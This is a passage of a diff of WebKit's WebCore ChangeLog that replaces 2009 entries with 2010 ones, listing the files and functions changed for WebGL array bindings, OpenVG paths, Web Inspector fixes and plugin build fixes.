+        (WebCore::constructCanvasIntArray):
+        * bindings/js/JSWebGLShortArrayConstructor.cpp:
+        (WebCore::constructCanvasShortArray):
+        * bindings/js/JSWebGLUnsignedByteArrayConstructor.cpp:
+        (WebCore::constructCanvasUnsignedByteArray):
+        * bindings/js/JSWebGLUnsignedIntArrayConstructor.cpp:
+        (WebCore::constructCanvasUnsignedIntArray):
+        * bindings/js/JSWebGLUnsignedShortArrayConstructor.cpp:
+        (WebCore::constructCanvasUnsignedShortArray):
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::toUInt32):
+        * bindings/v8/V8Binding.h:
+        (WebCore::toUInt32):
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        (WebCore::V8WebGLArrayBuffer::constructorCallback):
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        (WebCore::constructWebGLArray):
+        (WebCore::getWebGLArrayElement):
+        (WebCore::setWebGLArrayFromArray):
+        (WebCore::setWebGLArray):
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        (WebCore::V8WebGLByteArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        (WebCore::V8WebGLFloatArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        (WebCore::V8WebGLIntArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        (WebCore::V8WebGLShortArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        (WebCore::V8WebGLUnsignedByteArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        (WebCore::V8WebGLUnsignedIntArray::constructorCallback):
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        (WebCore::V8WebGLUnsignedShortArray::constructorCallback):
+        * html/canvas/WebGLArray.cpp:
+        (WebCore::WebGLArray::setImpl):
+        * html/canvas/WebGLArray.h:
+        (WebCore::WebGLArray::verifySubRange):
+        (WebCore::WebGLArray::clampOffsetAndNumElements):
+        * html/canvas/WebGLArrayBuffer.cpp:
+        (WebCore::WebGLArrayBuffer::create):
+        (WebCore::WebGLArrayBuffer::WebGLArrayBuffer):
+        (WebCore::WebGLArrayBuffer::tryAllocate):
+        * html/canvas/WebGLArrayBuffer.h:
+        * html/canvas/WebGLByteArray.cpp:
+        (WebCore::WebGLByteArray::create):
+        (WebCore::WebGLByteArray::WebGLByteArray):
+        (WebCore::WebGLByteArray::slice):
+        * html/canvas/WebGLByteArray.h:
+        * html/canvas/WebGLFloatArray.cpp:
+        (WebCore::WebGLFloatArray::create):
+        (WebCore::WebGLFloatArray::WebGLFloatArray):
+        (WebCore::WebGLFloatArray::slice):
+        * html/canvas/WebGLFloatArray.h:
+        * html/canvas/WebGLIntArray.cpp:
+        (WebCore::WebGLIntArray::create):
+        (WebCore::WebGLIntArray::WebGLIntArray):
+        (WebCore::WebGLIntArray::slice):
+        * html/canvas/WebGLIntArray.h:
+        * html/canvas/WebGLShortArray.cpp:
+        (WebCore::WebGLShortArray::create):
+        (WebCore::WebGLShortArray::WebGLShortArray):
+        (WebCore::WebGLShortArray::slice):
+        * html/canvas/WebGLShortArray.h:
+        * html/canvas/WebGLUnsignedByteArray.cpp:
+        (WebCore::WebGLUnsignedByteArray::create):
+        (WebCore::WebGLUnsignedByteArray::WebGLUnsignedByteArray):
+        (WebCore::WebGLUnsignedByteArray::slice):
+        * html/canvas/WebGLUnsignedByteArray.h:
+        * html/canvas/WebGLUnsignedIntArray.cpp:
+        (WebCore::WebGLUnsignedIntArray::create):
+        (WebCore::WebGLUnsignedIntArray::WebGLUnsignedIntArray):
+        (WebCore::WebGLUnsignedIntArray::slice):
+        * html/canvas/WebGLUnsignedIntArray.h:
+        * html/canvas/WebGLUnsignedShortArray.cpp:
+        (WebCore::WebGLUnsignedShortArray::create):
+        (WebCore::WebGLUnsignedShortArray::WebGLUnsignedShortArray):
+        (WebCore::WebGLUnsignedShortArray::slice):
+        * html/canvas/WebGLUnsignedShortArray.h:
+
+2010-03-01  Brady Eidson  <beidson@apple.com>
 
-        Reviewed by Kevin Ollivier.
+        Reviewed by Sam Weinig.
 
-        [wx] Implement filesystem functions.
+        REGRESSION: Telling a WebView to go to its current WebHistoryItem is broken.
+        <rdar://problem/7699371> and https://bugs.webkit.org/show_bug.cgi?id=35532
 
-        https://bugs.webkit.org/show_bug.cgi?id=29196
+        Test: fast/loader/api-test-go-to-current-back-forward-item.html
 
-        * platform/wx/FileSystemWx.cpp:
-        (WebCore::fileExists):
-        (WebCore::deleteFile):
-        (WebCore::deleteEmptyDirectory):
-        (WebCore::getFileSize):
-        (WebCore::getFileModificationTime):
-        (WebCore::makeAllDirectories):
-        (WebCore::pathByAppendingComponent):
-        (WebCore::homeDirectoryPath):
-        (WebCore::directoryName):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadItem): If the current item is the same as the target item, don't
+          consider this to be a same document navigation.
 
-2009-09-12  Kevin Ollivier  <kevino@theolliviers.com>
+        * page/Page.cpp:
+        (WebCore::Page::goToItem): Hard code the "going to the same item as the current item" relationship
+          as a precondition for stopping all loaders, as that will be a new document load.
 
-        wx build fixes for wx 2.9.
+2010-03-01  Robert Hogan  <robert@webkit.org>
 
-        * platform/wx/ScrollbarThemeWx.cpp:
-        * platform/wx/wxcode/gtk/scrollbar_render.cpp:
-        (wxGetGdkWindowForDC):
+        Reviewed by nobody, build fix.
 
-2009-09-12  Oliver Hunt  <oliver@apple.com>
+        Fix --minimal build. Add ENABLE(DATABASE) as compile time condition
+        for building file GeolocationPositionCache.cpp.
 
-        Reviewed by Maciej Stachowiak.
+        * page/GeolocationPositionCache.cpp:
 
-        [ES5] Implement Object.keys
-        https://bugs.webkit.org/show_bug.cgi?id=29170
+2010-03-01  Jakob Petsovits  <jpetsovits@rim.com>
 
-        Switch from getPropertyNames to getOwnPropertyNames, and provide custom
-        getPropertyNames to DOMWindow, DOMWindowShell and QuarantinedObjectWrapper
-        in order to ensure correct semantics are maintained.
+        Reviewed by Dirk Schulze.
 
-        Test: fast/js/Object-keys.html
+        [OpenVG] Implement support for paths
+        https://bugs.webkit.org/show_bug.cgi?id=34366
 
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::getOwnPropertyNames):
-        * bindings/js/JSDOMWindowShell.cpp:
-        (WebCore::JSDOMWindowShell::getOwnPropertyNames):
-        * bindings/js/JSDOMWindowShell.h:
-        * bindings/js/JSHistoryCustom.cpp:
-        (WebCore::JSHistory::getOwnPropertyNames):
-        * bindings/js/JSLocationCustom.cpp:
-        (WebCore::JSLocation::getOwnPropertyNames):
-        * bindings/js/JSQuarantinedObjectWrapper.cpp:
-        (WebCore::JSQuarantinedObjectWrapper::getPropertyNames):
-        (WebCore::JSQuarantinedObjectWrapper::getOwnPropertyNames):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        * bindings/js/JSStorageCustom.cpp:
-        (WebCore::JSStorage::getOwnPropertyNames):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/runtime_object.cpp:
-        (JSC::RuntimeObjectImp::getPropertyNames):
-        (JSC::RuntimeObjectImp::getOwnPropertyNames):
-        * bridge/runtime_object.h:
-
-2009-09-12  Sam Weinig  <sam@webkit.org>
+        Adds an implementation of the Path class -
+        *almost* complete, but not quite because OpenVG
+        does not provide access to the points in a VGPath
+        unless one keeps track of all the points by
+        themselves, which we decided not to do.
 
-        Reviewed by Anders Carlsson.
+        Also hooked up to PainterOpenVG and GraphicsContext.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29219
-        Document.elementFromPoint() should take page scroll into consideration
+        Further introduced is SharedResourceOpenVG, which is
+        intended as base class for paths and other OpenVG
+        resources (images, fonts) that WebKit creates as
+        long-lived objects. We are at a slight disadvantage
+        here as WebKit doesn't have the concept of resources
+        belonging to a specific (hardware graphics) context,
+        which is the reason why EGLDisplayOpenVG had to
+        provide a current display singleton; this class is
+        what actually requires that functionality.
 
-        Test: fast/dom/elementFromPoint-relative-to-viewport.html
+        Path::addArcTo() uses code by Yong Li <yoli@rim.com>.
 
-        * dom/Document.cpp:
-        (WebCore::Document::elementFromPoint):
-        (WebCore::Document::caretRangeFromPoint):
+        * platform/graphics/Path.cpp:
+        * platform/graphics/Path.h:
+        * platform/graphics/openvg/GraphicsContextOpenVG.cpp:
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::drawPath):
+        (WebCore::GraphicsContext::beginPath):
+        (WebCore::GraphicsContext::addPath):
+        * platform/graphics/openvg/PainterOpenVG.cpp:
+        (WebCore::PainterOpenVG::PainterOpenVG):
+        (WebCore::PainterOpenVG::~PainterOpenVG):
+        (WebCore::PainterOpenVG::transformPath):
+        (WebCore::PainterOpenVG::beginPath):
+        (WebCore::PainterOpenVG::addPath):
+        (WebCore::PainterOpenVG::currentPath):
+        (WebCore::PainterOpenVG::drawPath):
+        * platform/graphics/openvg/PainterOpenVG.h:
+        * platform/graphics/openvg/PathOpenVG.cpp: Added.
+        (WebCore::PlatformPathOpenVG::PlatformPathOpenVG):
+        (WebCore::PlatformPathOpenVG::operator=):
+        (WebCore::PlatformPathOpenVG::~PlatformPathOpenVG):
+        (WebCore::PlatformPathOpenVG::clear):
+        (WebCore::PlatformPathOpenVG::createPath):
+        (WebCore::Path::Path):
+        (WebCore::Path::~Path):
+        (WebCore::Path::operator=):
+        (WebCore::Path::contains):
+        (WebCore::Path::strokeContains):
+        (WebCore::Path::translate):
+        (WebCore::Path::boundingRect):
+        (WebCore::Path::strokeBoundingRect):
+        (WebCore::Path::moveTo):
+        (WebCore::Path::addLineTo):
+        (WebCore::Path::addQuadCurveTo):
+        (WebCore::Path::addBezierCurveTo):
+        (WebCore::Path::addArcTo):
+        (WebCore::Path::closeSubpath):
+        (WebCore::Path::addArc):
+        (WebCore::Path::addRect):
+        (WebCore::Path::addEllipse):
+        (WebCore::Path::clear):
+        (WebCore::Path::isEmpty):
+        (WebCore::Path::hasCurrentPoint):
+        (WebCore::Path::debugString):
+        (WebCore::Path::apply):
+        (WebCore::Path::transform):
+        (WebCore::Path::length):
+        (WebCore::Path::pointAtLength):
+        (WebCore::Path::normalAngleAtLength):
+        * platform/graphics/openvg/PlatformPathOpenVG.h: Added.
+        (WebCore::PlatformPathOpenVG::vgPath):
+        * platform/graphics/openvg/SharedResourceOpenVG.cpp: Added.
+        (WebCore::SharedResourceOpenVG::makeSharedContextCurrent):
+        (WebCore::SharedResourceOpenVG::makeCompatibleContextCurrent):
+        * platform/graphics/openvg/SharedResourceOpenVG.h: Added.
 
-2009-09-12  Sam Weinig  <sam@webkit.org>
+2010-03-01  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Maciej Stachowiak.
+        Not reviewed, bring English.lproj/locallizedStrings.js back to binary (UTF) mode.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29217
-        Document.caretRangeFromPoint should take the scroll offset into account before hit testing
+        * English.lproj/localizedStrings.js:
 
-        In accordance with the CSSOM View Module spec, Document.caretRangeFromPoint should interpret
-        the point passed to it as relative to the viewport, not the document.
+2010-03-01  Jakob Petsovits  <jpetsovits@rim.com>
 
-        Test: fast/dom/Document/CaretRangeFromPoint/hittest-relative-to-viewport.html
+        Reviewed by Nikolas Zimmermann.
 
-        * dom/Document.cpp:
-        (WebCore::Document::caretRangeFromPoint):
+        [OpenVG] Convert from TransformationMatrix to AffineTransform.
+        https://bugs.webkit.org/show_bug.cgi?id=35445
 
-2009-09-11  Chris Marrin  <cmarrin@apple.com>
+        Dirk Schulze previously introduced AffineTransform as
+        replacement for most TransformationMatrix occurrences
+        in GraphicsContext & Co., but did not update the OpenVG
+        graphics backend as there's no publicly available way
+        to build it. This commit now takes care of that.
 
-        Reviewed by Oliver Hunt.
+        * platform/graphics/openvg/GraphicsContextOpenVG.cpp:
+        (WebCore::GraphicsContext::getCTM):
+        (WebCore::GraphicsContext::roundToDevicePixels):
+        (WebCore::GraphicsContext::origin):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/openvg/PainterOpenVG.cpp:
+        (WebCore::isNonRotatedAffineTransformation):
+        (WebCore::PlatformPainterState::PlatformPainterState):
+        (WebCore::PlatformPainterState::applyState):
+        (WebCore::PlatformPainterState::applyTransformation):
+        (WebCore::PainterOpenVG::transformation):
+        (WebCore::PainterOpenVG::concatTransformation):
+        (WebCore::PainterOpenVG::setTransformation):
+        (WebCore::PainterOpenVG::scale):
+        (WebCore::PainterOpenVG::rotate):
+        (WebCore::PainterOpenVG::translate):
+        (WebCore::PainterOpenVG::intersectClipRect):
+        * platform/graphics/openvg/PainterOpenVG.h:
+        * platform/graphics/openvg/VGUtils.cpp:
+        (WebCore::VGMatrix::VGMatrix):
+        (WebCore::VGMatrix::operator AffineTransform):
+        (WebCore::VGMatrix::operator TransformationMatrix):
+        (WebCore::AffineTransform::operator VGMatrix):
+        * platform/graphics/openvg/VGUtils.h:
+        * platform/graphics/transforms/AffineTransform.h:
+
+2010-03-01  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
 
-        Added some manual tests to show WebGL in action
-        https://bugs.webkit.org/show_bug.cgi?id=29215
-
-        * manual-tests/webgl: Added.
-        * manual-tests/webgl/Earth.html: Added.
-        * manual-tests/webgl/ManyPlanetsDeep.html: Added.
-        * manual-tests/webgl/SpinningBox.html: Added.
-        * manual-tests/webgl/TeapotPerPixel.html: Added.
-        * manual-tests/webgl/TeapotPerVertex.html: Added.
-        * manual-tests/webgl/resources: Added.
-        * manual-tests/webgl/resources/CanvasMatrix.js: Added.
-        * manual-tests/webgl/resources/earthmap1k.jpg: Added.
-        * manual-tests/webgl/resources/mars500x250.png: Added.
-        * manual-tests/webgl/resources/teapot.obj: Added.
-        * manual-tests/webgl/resources/utils3d.js: Added.
- 
-2009-09-10  Chris Fleizach  <cfleizach@apple.com>
+        Reviewed by Simon Hausmann.
 
-        Reviewed by Darin Adler.
+        [Qt] Fix segfault when drawing NPAPI plugins on Mac
 
-        aria definition role spelled wrong "defintion"
-        https://bugs.webkit.org/show_bug.cgi?id=28840
+        Don't try to get a contexctRef for a null-pixmap. If the pixmap
+        size is 0,0 the private pixmap data has not yet been initialized.
 
-        Test: accessibility/aria-slider-value-change.html
+        * plugins/mac/PluginViewMac.cpp:
 
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::RoleEntry::):
+2010-03-01  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
 
-2009-09-11  Erik Arvidsson  <arv@chromium.org>
+        Reviewed by Simon Hausmann.
 
-        Reviewed by Eric Seidel.
+        Fix the Qt build on Mac OS X/Cocoa 64-bit
 
-        Fixes an assert in Node::isFocusable which was causing crashes in certain cases.
-        https://bugs.webkit.org/show_bug.cgi?id=29210
+        Use the proper event/drawing-model guards instead of global 64-bit
+        guard for the NPAPI plugin implementation (view and package).
 
-        * dom/Node.cpp:
-        (WebCore::Node::isFocusable):
+        * plugins/mac/PluginPackageMac.cpp: Change guards and fix warning
+        * plugins/mac/PluginViewMac.cpp: Remove 64-bit guard
 
-2009-09-11  Chris Marrin  <cmarrin@apple.com>
+2010-02-27  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Timothy Hatcher.
 
-        Added variants to uniform* and vertexAttrib* calls which take sequence<> in place of CanvasArray
-        https://bugs.webkit.org/show_bug.cgi?id=29139
-        
-        I also added a data() call to each of the CanvasArray subclasses to give back a types pointer
-        to the baseAddress().
+        Web Inspector: disable breakpoint upon Shift-click.
 
-        * Configurations/FeatureDefines.xcconfig:
-        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
-        (WebCore::toArray):
-        (WebCore::):
-        (WebCore::dataFunctionf):
-        (WebCore::dataFunctioni):
-        (WebCore::dataFunctionMatrix):
-        (WebCore::JSCanvasRenderingContext3D::uniform1fv):
-        (WebCore::JSCanvasRenderingContext3D::uniform1iv):
-        (WebCore::JSCanvasRenderingContext3D::uniform2fv):
-        (WebCore::JSCanvasRenderingContext3D::uniform2iv):
-        (WebCore::JSCanvasRenderingContext3D::uniform3fv):
-        (WebCore::JSCanvasRenderingContext3D::uniform3iv):
-        (WebCore::JSCanvasRenderingContext3D::uniform4fv):
-        (WebCore::JSCanvasRenderingContext3D::uniform4iv):
-        (WebCore::JSCanvasRenderingContext3D::uniformMatrix2fv):
-        (WebCore::JSCanvasRenderingContext3D::uniformMatrix3fv):
-        (WebCore::JSCanvasRenderingContext3D::uniformMatrix4fv):
-        (WebCore::JSCanvasRenderingContext3D::vertexAttrib1fv):
-        (WebCore::JSCanvasRenderingContext3D::vertexAttrib2fv):
-        (WebCore::JSCanvasRenderingContext3D::vertexAttrib3fv):
-        (WebCore::JSCanvasRenderingContext3D::vertexAttrib4fv):
-        * html/canvas/CanvasByteArray.h:
-        (WebCore::CanvasByteArray::data):
-        * html/canvas/CanvasFloatArray.h:
-        (WebCore::CanvasFloatArray::data):
-        * html/canvas/CanvasIntArray.h:
-        (WebCore::CanvasIntArray::data):
-        * html/canvas/CanvasRenderingContext3D.cpp:
-        (WebCore::CanvasRenderingContext3D::uniform1fv):
-        (WebCore::CanvasRenderingContext3D::uniform1iv):
-        (WebCore::CanvasRenderingContext3D::uniform2fv):
-        (WebCore::CanvasRenderingContext3D::uniform2iv):
-        (WebCore::CanvasRenderingContext3D::uniform3fv):
-        (WebCore::CanvasRenderingContext3D::uniform3iv):
-        (WebCore::CanvasRenderingContext3D::uniform4fv):
-        (WebCore::CanvasRenderingContext3D::uniform4iv):
-        (WebCore::CanvasRenderingContext3D::uniformMatrix2fv):
-        (WebCore::CanvasRenderingContext3D::uniformMatrix3fv):
-        (WebCore::CanvasRenderingContext3D::uniformMatrix4fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib1fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib2fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib3fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib4fv):
-        * html/canvas/CanvasRenderingContext3D.h:
-        * html/canvas/CanvasRenderingContext3D.idl:
-        * html/canvas/CanvasShortArray.h:
-        (WebCore::CanvasShortArray::data):
-        * html/canvas/CanvasUnsignedByteArray.h:
-        (WebCore::CanvasUnsignedByteArray::data):
-        * html/canvas/CanvasUnsignedIntArray.h:
-        (WebCore::CanvasUnsignedIntArray::data):
-        * html/canvas/CanvasUnsignedShortArray.h:
-        (WebCore::CanvasUnsignedShortArray::data):
-        * platform/graphics/GraphicsContext3D.h:
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::uniform1fv):
-        (WebCore::GraphicsContext3D::uniform2fv):
-        (WebCore::GraphicsContext3D::uniform3fv):
-        (WebCore::GraphicsContext3D::uniform4fv):
-        (WebCore::GraphicsContext3D::uniform1iv):
-        (WebCore::GraphicsContext3D::uniform2iv):
-        (WebCore::GraphicsContext3D::uniform3iv):
-        (WebCore::GraphicsContext3D::uniform4iv):
-        (WebCore::GraphicsContext3D::uniformMatrix2fv):
-        (WebCore::GraphicsContext3D::uniformMatrix3fv):
-        (WebCore::GraphicsContext3D::uniformMatrix4fv):
-        (WebCore::GraphicsContext3D::vertexAttrib1fv):
-        (WebCore::GraphicsContext3D::vertexAttrib2fv):
-        (WebCore::GraphicsContext3D::vertexAttrib3fv):
-        (WebCore::GraphicsContext3D::vertexAttrib4fv):
+        https://bugs.webkit.org/show_bug.cgi?id=35477
 
-2009-09-11  Fumitoshi Ukai  <ukai@chromium.org>
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._format):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._mouseDown):
+        (WebInspector.SourceFrame.prototype._mouseMove):
+        * inspector/front-end/textViewer.css:
 
-        Reviewed by Eric Seidel.
+2010-02-28  Alexey Proskuryakov  <ap@apple.com>
 
-        Add ENABLE(WEB_SOCKETS) guards.
-        https://bugs.webkit.org/show_bug.cgi?id=29174
+        Reviewed by Dan Bernstein.
 
-        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        https://bugs.webkit.org/show_bug.cgi?id=35496
+        <rdar://problem/7663444> Opening newsweek.com and youtube.com has become very slow in debug builds
 
-2009-09-11  Eric Seidel  <eric@webkit.org>
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSRuleSet::getIDRules):
+        (WebCore::CSSRuleSet::getClassRules):
+        (WebCore::CSSRuleSet::getTagRules):
+        Removed consistency checks, as they affect performance too much in this case.
 
-        No review, rolling out r48229.
-        http://trac.webkit.org/changeset/48229
+2010-02-28  Robert Hogan  <robert@roberthogan.net>
 
-        * WebCore.base.exp:
-        * dom/Clipboard.cpp:
-        (WebCore::Clipboard::Clipboard):
-        (WebCore::Clipboard::sourceOperation):
-        * page/DragController.cpp:
-        (WebCore::DragController::DragController):
-        (WebCore::DragController::dragExited):
-        (WebCore::DragController::performDrag):
-        (WebCore::DragController::dragEnteredOrUpdated):
-        (WebCore::DragController::tryDHTMLDrag):
-        (WebCore::DragController::startDrag):
-        * page/DragController.h:
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::updateDragAndDrop):
-        (WebCore::EventHandler::dragSourceMovedTo):
-        (WebCore::EventHandler::handleDrag):
-        * page/EventHandler.h:
+        Reviewed by Simon Hausmann.
 
-2009-09-11  Michelangelo De Simone  <micdesim@gmail.com>
+        [Qt] Support private browsing mode in plugins
 
-        Fix the build.
+        Add support for NPNVprivateModeBool property in plugins.
 
-        * html/ValidityState.cpp:
-        (WebCore::ValidityState::typeMismatch):
+        See also: https://developer.mozilla.org/En/Supporting_private_browsing_in_plugins
 
-2009-09-11  Michelangelo De Simone  <micdesim@gmail.com>
+        The NPNVprivateModeBool property is supported as scriptable property privateBrowsingEnabled
+        in the test WebKit plugin. The Mac platform also supports a cachedPrivateBrowsingEnabled
+        property implemented in the test plugin. This allows the Layout test
+        plugins/private-browsing-mode.html to retrieve the previous value of NPNVprivateModeBool
+        in the test plugin. Due to the platform-specific overhead required to support this bespoke
+        property it is not implemented as part of this patch, instead a new test,
+        plugins/private-browsing-mode-2.html, is added to ensure that setting and resetting
+        privateBrowsingEnabled works as expected.
 
-        Reviewed by Antti Koivisto.
+        http://bugs.webkit.org/show_bug.cgi?id=33180
 
-        https://bugs.webkit.org/show_bug.cgi?id=27456
-        Added support for static validation of url in
-        ValidityState, for url state inputs.
-        From HTML5 specs:
-        http://www.whatwg.org/specs/web-apps/current-work/#url-state
+        Test: plugins/private-browsing-mode-2.html
 
-        Test: fast/forms/ValidityState-typeMismatch-url.html
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::getValue):
 
-        * html/ValidityState.cpp:
-        (WebCore::ValidityState::typeMismatch):
 
-2009-09-11  Evan Stade  <estade@chromium.org>
+2010-02-27  Joseph Pecoraro  <joepeck@webkit.org>
 
-        Reviewed by Darin Adler.
+        Reviewed by Timothy Hatcher.
 
-        Revert r47992: Expose functions to change the focus ring color for
-        Linux Chromium.
+        Web Inspector shouldn't show a white color box for "-webkit-line-break: after-white-space"
+        https://bugs.webkit.org/show_bug.cgi?id=33478
 
-        As Darin Fisher has pointed out, there is a better way to do this.
+        * inspector/front-end/StylesSidebarPane.js:
 
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
-        * rendering/RenderThemeChromiumLinux.h:
+2010-02-27  Dan Bernstein  <mitz@apple.com>
 
-2009-09-11  Alexey Proskuryakov  <ap@webkit.org>
+        Reviewed by Maciej Stachowiak.
 
-        Reviewed by Geoff Garen.
+        <rdar://problem/7696607> Links do not respect -webkit-user-drag: none
+        https://bugs.webkit.org/show_bug.cgi?id=35475
 
-        https://bugs.webkit.org/show_bug.cgi?id=29207
-        Add checks for using WebCore JS context on secondary threads
+        Test: fast/css/user-drag-none.html
 
-        * bindings/js/JSDOMWindowBase.cpp: (WebCore::JSDOMWindowBase::commonJSGlobalData):
-        Set the new debug-only mainThreadOnly flag.
+        * page/DragController.cpp:
+        (WebCore::DragController::mayStartDragAtEventLocation): Added a node
+        parameter. The image drag check is done against the node, rather than
+        than against the hit test result. This prevents a non-draggable image
+        with an auto-draggable ancestor from being dragged alone. The link drag
+        check now ignores links that are -webkit-user-drag: none.
+        * page/DragController.h:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::shouldDragAutoNode): Pass the current node
+        to mayStartDragAtEventLocation().
 
-2009-09-11  Brian Weinstein  <bweinstein@apple.com>
+2010-02-27  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        The inspector should have scope bars.
-        https://bugs.webkit.org/show_bug.cgi?id=14353
-        
-        Add scope bars to the console, so the user can choose which category
-        of messages they want to see (All, Errors, Warnings, Logs), and they
-        can choose from one or more of {Errors, Warnings, Logs}.
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.createFilterElement):
-        (WebInspector.ConsoleView):
-        (WebInspector.ConsoleView.prototype._updateFilter):
-        (WebInspector.ConsoleView.prototype.filter):
-        (WebInspector.ConsoleView.prototype.attach):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.html:
+        Web Inspector: REGRESSION: hangs when scrolling in Resource pane.
 
-2009-09-11  Yusuke Sato  <yusukes@chromium.org>
+        https://bugs.webkit.org/show_bug.cgi?id=35216
 
-        Reviewed by Darin Fisher.
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype.highlight):
+        (WebInspector.TextEditorHighlighter.prototype._highlightInChunks):
+        (WebInspector.TextEditorHighlighter.prototype._highlightLines):
 
-        [Chromium] Complex text doesn't show up with text stroking
-        https://bugs.webkit.org/show_bug.cgi?id=28707
+2010-02-27  Xan Lopez  <xlopez@igalia.com>
 
-        Added extra NULL checks for HDC. This is the second fix for issue 28707,
-        and the fix is similar to http://trac.webkit.org/changeset/45482.
+        Reviewed by Gustavo Noronha.
 
-        * platform/graphics/chromium/FontChromiumWin.cpp:
-        (WebCore::Font::drawComplexText):
-        * platform/graphics/chromium/UniscribeHelper.cpp:
-        (WebCore::UniscribeHelper::draw):
+        Abort XEmbed plugin initialization if our parent is not anchored
+        in a widget hierarchy. This can happen when the browser window is
+        destroyed while the plugin is being loaded, and will lead to a
+        crash.
 
-2009-09-11  Cameron McCormack  <cam@mcc.id.au>
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::platformStart):
 
-        Reviewed by Eric Seidel.
+2010-02-26  Pavel Feldman  <pfeldman@chromium.org>
 
-        Make ElementTimeControl methods return void and not throw.
-        https://bugs.webkit.org/show_bug.cgi?id=28831
+        Reviewed by Timothy Hatcher.
 
-        SVG 1.1 erratum:
-        http://www.w3.org/2003/01/REC-SVG11-20030114-errata#elementtimecontrol-interface
+        Web Inspector: reload inspected page on Cmd+R / Ctrl+R / F5 key event in inspector.
+        Drive-by fix for couple of minor front-end problems.
 
-        Test: svg/dom/smil-methods.svg
+        https://bugs.webkit.org/show_bug.cgi?id=35434
 
-        * svg/ElementTimeControl.h: Change return type from bool to void and remove exception argument.
-        * svg/ElementTimeControl.idl: Change return type from bool to void and remove raises claus.
-        * svg/SVGAnimationElement.cpp:
-        (WebCore::SVGAnimationElement::beginElement): Change return type from bool to void and remove exception argument.
-        (WebCore::SVGAnimationElement::beginElementAt): Ditto.
-        (WebCore::SVGAnimationElement::endElement): Ditto.
-        (WebCore::SVGAnimationElement::endElementAt): Ditto.
-        * svg/SVGAnimationElement.h: Ditto.
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::reloadPage):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.reloadPage):
+        * inspector/front-end/InspectorFrontendHostStub.js:
+        (.WebInspector.InspectorFrontendHostStub.prototype.copyText):
+        (.WebInspector.InspectorFrontendHostStub.prototype.canAttachWindow):
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer.prototype._paintLine):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentKeyDown):
+        (WebInspector.toggleAttach):
 
-2009-09-11  Chris Marrin  <cmarrin@apple.com>
+2010-02-26  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Added support for texImage2D which takes CanvasArray
-        https://bugs.webkit.org/show_bug.cgi?id=29191
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35087
 
-        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
-        (WebCore::JSCanvasRenderingContext3D::texImage2D):
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::texImage2D):
+        * platform/efl/ScrollbarEfl.cpp: Added.
+        * platform/efl/EventLoopEfl.cpp: Added.
+        * platform/efl/PlatformKeyboardEventEfl.cpp: Added.
+        * platform/efl/DragImageEfl.cpp: Added.
+        * platform/efl/PlatformMouseEventEfl.cpp: Added.
 
-2009-09-11  Steve Falkenburg  <sfalken@apple.com>
+2010-02-26  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by Darin Adler.
+        Reviewed by Kenneth Rohde Christiansen.
 
